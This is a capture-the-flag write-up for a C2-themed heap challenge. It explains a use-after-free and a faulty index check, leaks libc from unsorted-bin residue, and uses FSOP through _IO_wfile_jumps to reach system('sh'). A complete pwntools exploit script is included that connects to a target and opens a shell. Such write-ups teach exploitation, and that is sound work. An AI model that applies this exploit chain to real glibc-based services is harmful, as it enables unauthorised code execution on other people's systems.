0x00. Introduction
[*] '/home/user/sleeping_cnc'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Concept
=================================
C2 SERVER v1.0 - INITIALIZED
=================================
[*] Command & Control Server
[*] Managing botnet operations...
===== C2 CONTROL PANEL =====
1. Register new bot
2. Update bot info
3. Send command to bots
4. Deploy task
5. Abort running task
6. Shutdown C2 server
>>
This challenge implements the operation of a C2 server.
Structure
struct __fixed bot
{
char *ip; char *info; int status;
};
The bot structure is composed as shown above and allocates a chunk of size 0x20 when created with malloc().
0x01. Vulnerability
Use After Free
int deploy_task_1CE0()
{
__int64 v0; pthread_t v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u);
if ( task_running_40C8 )
{
puts("[!] A task is already running");
}
else if ( bot_count_40CC <= 0 )
{
puts("[!] Need at least 1 bots to deploy task");
}
else
{
task_running_40C8 = 1;
if ( pthread_create(&v2, 0LL, start_routine, 0LL) )
err("Failed to create task thread");
puts("[+] Task deployed");
return v3 - __readfsqword(0x28u);
}
return v0;
}
In deploy_task_1CE0(), which conceptually delivers commands, the function checks if the global variable task_running_40C8 is 0, and if so, changes it to 1 before creating a thread. Since this value is managed by a mutex to be reset to 0, deploy_task_1CE0() cannot be called again before aborting the task.
void *__fastcall start_routine(void *a1)
{
unsigned int last;
pthread_mutex_lock(&mutex);
last = bot_count_40CC - 1;
puts("\n[!] OP : Starting operation...");
__printf_chk(2LL, "[!] Bot %s (info : %s) has dominated\n", bot_list_40E0[last]->ip, bot_list_40E0[last]->info);
puts("[*] Attempting reconnection...");
free_vuln_1B80(last);
pthread_cond_wait(&cond, &mutex);
puts("\n[*] Task completed. Bot terminated.");
--bot_count_40CC;
task_running_40C8 = 0;
pthread_mutex_unlock(&mutex);
return 0LL;
}
Inside the thread, it prints information about the last bot and calls the vulnerable function free_vuln_1B80().
Initially, I thought I needed to exploit something similar to a race condition using the fact that bot_count_40CC doesn’t decrease before aborting the task, but thanks to another vulnerability described later, it wasn’t necessary.
void __fastcall free_vuln_1B80(int index)
{
struct bot *bot;
bot = bot_list_40E0[index];
if ( bot )
{
*bot->ip = 0;
*bot->info = 0;
free(bot->ip);
free(bot->info);
free(bot);
}
}
Finally, free_vuln_1B80() frees bot, bot->ip, and bot->info, but doesn’t initialize the pointer values, leaving them as dangling pointers. These pointers can be leveraged as UAF when combined with other vulnerabilities.
Improper Check
int update_bot_18D0()
{
int v0; struct bot *bot_selected; int v2; unsigned int tmp; unsigned __int64 v5;
v5 = __readfsqword(0x28u);
__printf_chk(2LL, "[?] Bot index to update: ");
tmp = 0;
__isoc99_scanf(" %d", &tmp);
do
v0 = getc(stdin);
while ( v0 != 10 && v0 != -1 );
if ( tmp > 4 ) return puts("[!] Invalid bot index");
bot_selected = bot_list_40E0[tmp];
if ( !bot_selected )
return puts("[!] Bot not found at this index");
__printf_chk(2LL, "[+] New ip_address: ");
my_read_1740(bot_selected->ip, 0x18);
__printf_chk(2LL, "[+] New info: ");
my_read_1740(bot_selected->info, 0x500);
__printf_chk(2LL, "[+] New status: ");
tmp = 0;
__isoc99_scanf(" %d", &tmp);
do
v2 = getc(stdin);
while ( v2 != -1 && v2 != 10 );
bot_selected->status = tmp;
return puts("[+] Bot information updated");
}
In update_bot_18D0(), an index is received to select which bot to update. At this point, it should be compared with bot_count_40CC which stores the number of bots, but instead it checks if the value is greater than 4, which is the maximum number of bots. Therefore, as long as the pointer points to a valid address, it’s possible to access a freed bot.
0x02. Exploit
Libc Leak
Anyway, since there are no address values and the output section only exists in the thread function start_routine(), I came to think of info leak addresses through bot->ip or bot->info.
Between the two, bot->info is a large chunk of size 0x500, so when freed, it goes to the unsorted bin. Looking at the memory, it stores an address from the middle of libc’s main_arena as follows.
gef➤ x/3gx 0x00005555555592a0
0x5555555592a0: 0x00005555555592d0 0x00005555555592f0
0x5555555592b0: 0x0000000000000001
gef➤ x/4gx 0x00005555555592f0
0x5555555592f0: 0x00007ffff7facb20 0x00007ffff7facb20
0x555555559300: 0x0000000000000000 0x0000000000000000
This chunk’s value isn’t initialized after being freed and is returned again when allocating the next bot->info. Since the output section prints info with the %s format string, if we fill \x00 appropriately when entering info, we can leak libc.
deploy_task(s)
abort_task(s)
register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
r = deploy_task(s)
libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
lib.address = libc
stdout = libc + stdout_offset
buf = libc + buf_offset
log.info(f"libc : {hex(libc)}")
log.info(f"stdout : {hex(stdout)}")
log.info(f"buf : {hex(buf)}")
abort_task(s)
Use After Free
Now we need to leave a dangling pointer for UAF. Actually, all we need to do is create and free a bot.
register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
deploy_task(s)
abort_task(s)
After executing the above code, checking the memory and fastbin shows the following.
gef➤ x/5gx 0x0000555555554000 + 0x40e0
0x5555555580e0: 0x00005555555592a0 0x0000000000000000
0x5555555580f0: 0x0000000000000000 0x0000000000000000
0x555555558100: 0x0000000000000000
gef➤ heap bins
─────────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────────
All tcachebins are empty
───────────────────────────────── Fastbins for arena at 0x7ffff7e1ac80 ─────────────────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0x5555555592d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] ← Chunk(addr=0x5555555592a0, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
The first bot was allocated at 0x5555555592a0 and then freed, resulting in a chunk in the fastbin of size 0x30.
int send_command_1A70()
{
int v0; void *cmd; int v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u);
puts("[*] Operating Command :");
puts(" 1. Quick command ");
puts(" 2. General command ");
__printf_chk(2LL, ">> ");
v3 = 0;
__isoc99_scanf(" %d", &v3);
if ( v3 == 1 )
{
cmd = malloc(0x20uLL);
puts("[+] Write Quick command payload :");
}
else
{
cmd = malloc(0x100uLL);
puts("[+] Write command payload :");
}
my_read_1740(cmd);
return puts("[+] Command queued for deployment");
}
Conveniently, send_command_1A70() allocates a chunk of size 0x20, so it receives the chunk from the 0x30 fastbin, and we can also write content to it. Therefore, we can modify the address values that bot->ip or bot->info points to through send_command_1A70(), then create AAW (Arbitrary Address Write) with update_bot_18D0().
Now we need to think about how to achieve RIP control using AAW. Since there’s no leak other than libc leak and we can write a large amount of content of size 0x500, I decided to use FSOP.
FSOP
First, as mentioned earlier, we modify the content of the bot structure using send_command_1A70().
payload = p64(buf) payload += p64(stdout) payload += p64(1) send_command(s, b"1", payload)
I put the address of any meaningless region in the libc area into buf since it’s not needed for exploitation. Since bot->info is pointing to stdout, we can modify the content of stdout when updating bot->info.
Since we can overwrite up to the vtable pointer, which is the last field of stdout (over 0xe0), we can use the following FSOP payload.
stdout_lock = lib.sym.__nptl_last_event - 0x48
payload = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=stdout_lock,
_wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
_markers=lib.symbols["system"],
_unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
_mode=0xFFFFFFFF,
)
update_bot(s, b"0", b"CCCCCCCC", payload)
After this, when encountering puts or printf, _IO_wfile_overflow will be called and execute a shell.
0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "prob"
LIBRARY = "libc.so.6"
CONTAINER = "9d734f3d11b8"
code_base = 0x555555554000
bp = {
'main' : code_base + 0x12BA,
}
gs = f'''
!b *{bp["main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
context.log_level = "DEBUG"
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00"*0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
def register_new_bot(s, ip, info, status):
s.sendline(b"1")
s.sendafter(b"address: ", ip)
s.sendafter(b"info: ", info)
s.sendlineafter(b"online): ", status)
return s.recvuntil(b">> ")
def update_bot(s, index, ip, info):
s.sendline(b"2")
s.sendlineafter(b"update: ", index)
s.sendafter(b"address: ", ip)
s.sendafter(b"info: ", info)
return
def send_command(s, mode, cmd):
s.sendline(b"3")
s.sendlineafter(b">> ", mode)
s.sendlineafter(b"payload :\n", cmd)
return s.recvuntil(b">> ")
def deploy_task(s):
s.sendline(b"4")
sleep(0.5)
return s.recvuntil(b"reconnection...\n")
def abort_task(s):
s.sendline(b"5")
sleep(0.5)
return s.recvuntil(b"terminated.\n")
def shutdown(s):
s.sendline(b"6")
return s.recvuntil(b"server...\n")
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
main_arena_offset = 0x203b20
stdout_offset = 0x2045c0
buf_offset = 0x204700
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
main_arena_offset = 0x21ace0
stdout_offset = 0x2045c0
buf_offset = 0x204700
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recvuntil(">> ")
deploy_task(s)
abort_task(s)
register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
r = deploy_task(s)
libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
lib.address = libc
stdout = libc + stdout_offset
buf = libc + buf_offset
log.info(f"libc : {hex(libc)}")
log.info(f"stdout : {hex(stdout)}")
log.info(f"buf : {hex(buf)}")
abort_task(s)
register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
deploy_task(s)
abort_task(s)
payload = p64(buf)
payload += p64(stdout)
payload += p64(1)
send_command(s, b"1", payload)
stdout_lock = lib.sym.__nptl_last_event - 0x48
payload = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=stdout_lock,
_wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
_markers=lib.symbols["system"],
_unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
_mode=0xFFFFFFFF,
)
update_bot(s, b"0", b"CCCCCCCC", payload)
s.interactive()
print(shutdown(s))
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)
0x04. Reference